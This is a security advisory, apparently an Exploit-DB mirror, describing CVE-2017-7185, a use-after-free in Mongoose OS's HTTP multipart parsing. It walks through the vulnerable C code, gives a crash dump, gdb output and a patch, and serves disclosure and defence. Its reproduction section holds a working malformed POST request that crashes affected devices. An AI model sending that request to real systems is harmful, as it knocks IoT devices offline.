Cesanta Mongoose OS – Use-After-Free

  • 作者: Compass Security
    日期: 2017-04-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41826/
  • #############################################################
    #
    # COMPASS SECURITY ADVISORY
    # https://www.compass-security.com/en/research/advisories/
    #
    #############################################################
    #
    # Product: Mongoose OS
    # Vendor: Cesanta
    # CVE ID: CVE-2017-7185
    # CSNC ID: CSNC-2017-003
    # Subject: Use-after-free / Denial of Service
    # Risk: Medium
    # Effect: Remotely exploitable
    # Authors:
    # Philipp Promeuschel <philipp.promeuschel@compass-security.com>
    # Carel van Rooyen <carel.vanrooyen@compass-security.com>
    # Stephan Sekula <stephan.sekula@compass-security.com>
    # Date: 2017-04-03
    #
    #############################################################
     
    Introduction:
    -------------
    Cesanta's Mongoose OS [1] - an open source operating system for the Internet of Things. Supported micro controllers:
    * ESP32
    * ESP8266
    * STM32
    * TI CC3200
     
    Additionally, Amazon AWS IoT is integrated for Cloud connectivity. Developers can write applications in C or JavaScript (the latter by using the v7 component of Mongoose OS).
     
    Affected versions:
    ---------
    Vulnerable:
     * <= Release 1.2
    Not vulnerable:
     * Patched in current dev / master branch
    Not tested:
     * N/A
     
    Technical Description
    ---------------------
    The handling of HTTP-Multipart boundary [3] headers does not properly close connections when malformed requests are sent to the Mongoose server.
    This leads to a use-after-free/null-pointer-de-reference vulnerability, causing the Mongoose HTTP server to crash. As a result, the entire system is rendered unusable.
     
     
    The mg_parse_multipart [2] function performs proper checks for empty boundaries, but, since the flag "MG_F_CLOSE_IMMEDIATELY" does not have any effect, mg_http_multipart_continue() is called:
    --------------->8---------------
    void mg_http_handler(struct mg_connection *nc, int ev, void *ev_data) {
    [CUT BY COMPASS]
     #if MG_ENABLE_HTTP_STREAMING_MULTIPART
     if (req_len > 0 && (s = mg_get_http_header(hm, "Content-Type")) != NULL &&
     s->len >= 9 && strncmp(s->p, "multipart", 9) == 0) {
    mg_http_multipart_begin(nc, hm, req_len); // properly checks for empty boundary
    // however, the socket is not closed, and mg_http_multipart_continue() is executed
    mg_http_multipart_continue(nc);
    return;
    }
    ---------------8<---------------
    In the mg_http_multipart_begin function, the boundary is correctly verified:
    --------------->8---------------
    boundary_len =
    mg_http_parse_header(ct, "boundary", boundary, sizeof(boundary));
     
    if (boundary_len == 0) {
    /*
     * Content type is multipart, but there is no boundary,
     * probably malformed request
     */
    nc->flags = MG_F_CLOSE_IMMEDIATELY;
    DBG(("invalid request"));
    goto exit_mp;
    }
    ---------------8<---------------
    However, the socket is not closed (even though the flag "MG_F_CLOSE_IMMEDIATELY" has been set), and mg_http_multipart_continue is executed.
    In mg_http_multipart_continue(), the method mg_http_multipart_wait_for_boundary() is executed:
    ---------------8<---------------
    static void mg_http_multipart_continue(struct mg_connection *c) {
    struct mg_http_proto_data *pd = mg_http_get_proto_data(c);
    while (1) {
    switch (pd->mp_stream.state) {
    case MPS_BEGIN: {
    pd->mp_stream.state = MPS_WAITING_FOR_BOUNDARY;
    break;
    }
    case MPS_WAITING_FOR_BOUNDARY: {
    if (mg_http_multipart_wait_for_boundary(c) == 0) {
    return;
    }
    break;
    }
    --------------->8---------------
    Then, mg_http_multipart_wait_for_boundary() tries to identify the boundary-string. However, this string has never been initialized, which causes c_strnstr to crash.
    ---------------8<---------------
    static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {
    const char *boundary;
    struct mbuf *io = &c->recv_mbuf;
    struct mg_http_proto_data *pd = mg_http_get_proto_data(c);
     
    if ((int) io->len < pd->mp_stream.boundary_len + 2) {
    return 0;
    }
     
    boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len);
    if (boundary != NULL) {
    [CUT BY COMPASS]
    --------------->8---------------
     
     
    Steps to reproduce
    -----------------
    Request to HTTP server (code running on hardware device):
    ---------------8<---------------
    POST / HTTP/1.1
    Connection: keep-alive
    Content-Type: multipart/form-data;
    Content-Length: 1
    1
    --------------->8---------------
    The above request results in a stack trace on the mongoose console:
    ---------------8<---------------
    Guru Meditation Error of type LoadProhibited occurred on core0. Exception was unhandled.
    Register dump:
    PC: 0x400014fdPS: 0x00060330A0: 0x801114b4A1: 0x3ffbfcf0 
    A2: 0x00000000A3: 0xfffffffcA4: 0x000000ffA5: 0x0000ff00 
    A6: 0x00ff0000A7: 0xff000000A8: 0x00000000A9: 0x00000085 
    A10 : 0xccccccccA11 : 0x0cccccccA12 : 0x00000001A13 : 0x00000000 
    A14 : 0x00000037A15 : 0x3ffbb3ccSAR : 0x0000000fEXCCAUSE: 0x0000001c 
    EXCVADDR: 0x00000000LBEG: 0x400014fdLEND: 0x4000150dLCOUNT: 0xffffffff 
     
    Backtrace: 0x400014fd:0x3ffbfcf0 0x401114b4:0x3ffbfd00 0x401136cc:0x3ffbfd30 0x401149ac:0x3ffbfe30 0x40114b71:0x3ffbff00 0x40112b80:0x3ffc00a0 0x40112dc6:0x3ffc00d0 0x40113295:0x3ffc0100 0x4011361a:0x3ffc0170 0x40111716:0x3ffc01d0 0x40103b8f:0x3ffc01f0 0x40105099:0x3ffc0210
    --------------->8---------------
     
     
    Further debugging shows that an uninitialized string has indeed been passed to c_strnstr:
    ---------------8<---------------
    (gdb) info symbol 0x401114b4
    c_strnstr + 12 in section .flash.text
    (gdb) list *0x401114b4
    0x401114b4 is in c_strnstr (/mongoose-os/mongoose/mongoose.c:1720).
    warning: Source file is more recent than executable.
    1715}
    1716#endif /* _WIN32 */
    1717 
    1718/* The simplest O(mn) algorithm. Better implementation are GPLed */
    1719const char *c_strnstr(const char *s, const char *find, size_t slen) WEAK;
    1720const char *c_strnstr(const char *s, const char *find, size_t slen) {
    1721size_t find_length = strlen(find);
    1722size_t i;
    1723 
    1724for (i = 0; i < slen; i++) {
    (gdb) list *0x401136cc
    0x401136cc is in mg_http_multipart_continue (/mongoose-os/mongoose/mongoose.c:5893).
    5888mg_http_free_proto_data_mp_stream(&pd->mp_stream);
    5889pd->mp_stream.state = MPS_FINISHED;
    5890 
    5891return 1;
    5892}
    5893 
    5894static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {
    5895const char *boundary;
    5896struct mbuf *io = &c->recv_mbuf;
    5897struct mg_http_proto_data *pd = mg_http_get_proto_data(c);
    (gdb)
    --------------->8---------------
     
    Workaround / Fix:
    -----------------
    Apply the following (tested and confirmed) patch:
    ---------------8<---------------
    $ diff --git a/mongoose/mongoose.c b/mongoose/mongoose.c
    index 91dc8b9..063f8c6 100644
    --- a/mongoose/mongoose.c
    +++ b/mongoose/mongoose.c
    @@ -5889,6 +5889,12 @@ static int mg_http_multipart_wait_for_boundary(struct mg_connection *c) {
     return 0;
     }
    
    +if(pd->mp_stream.boundary == NULL){
    +pd->mp_stream.state = MPS_FINALIZE;
    +LOG(LL_INFO, ("invalid request: boundary not initialized"));
    +return 0;
    +}
    +
     boundary = c_strnstr(io->buf, pd->mp_stream.boundary, io->len);
     if (boundary != NULL) {
     const char *boundary_end = (boundary + pd->mp_stream.boundary_len);
    --------------->8---------------
    The patch has been merged into Mongoose OS on github.com on 2017-04-03 [4]
     
    Timeline:
    ---------
    2017-04-03: Coordinated public disclosure date
    2017-04-03: Release of patch
    2017-03-20: Initial vendor response, code usage sign-off
    2017-03-19: Initial vendor notification
    2017-03-19: Assigned CVE-2017-7185
    2017-03-11: Confirmation and patching Philipp Promeuschel, Carel van Rooyen
    2017-03-08: Initial inspection Philipp Promeuschel, Carel van Rooyen
    2017-03-08: Discovery by Philipp Promeuschel
     
    References:
    -----------
    [1] https://www.cesanta.com/
    [2] https://github.com/cesanta/mongoose/blob/66a96410d4336c312de32b1cf5db954aab9ee2ec/mongoose.c#L7760
    [3] http://www.ietf.org/rfc/rfc2046.txt
    [4] https://github.com/cesanta/mongoose-os/commit/042eb437973a202d00589b13d628181c6de5cf5b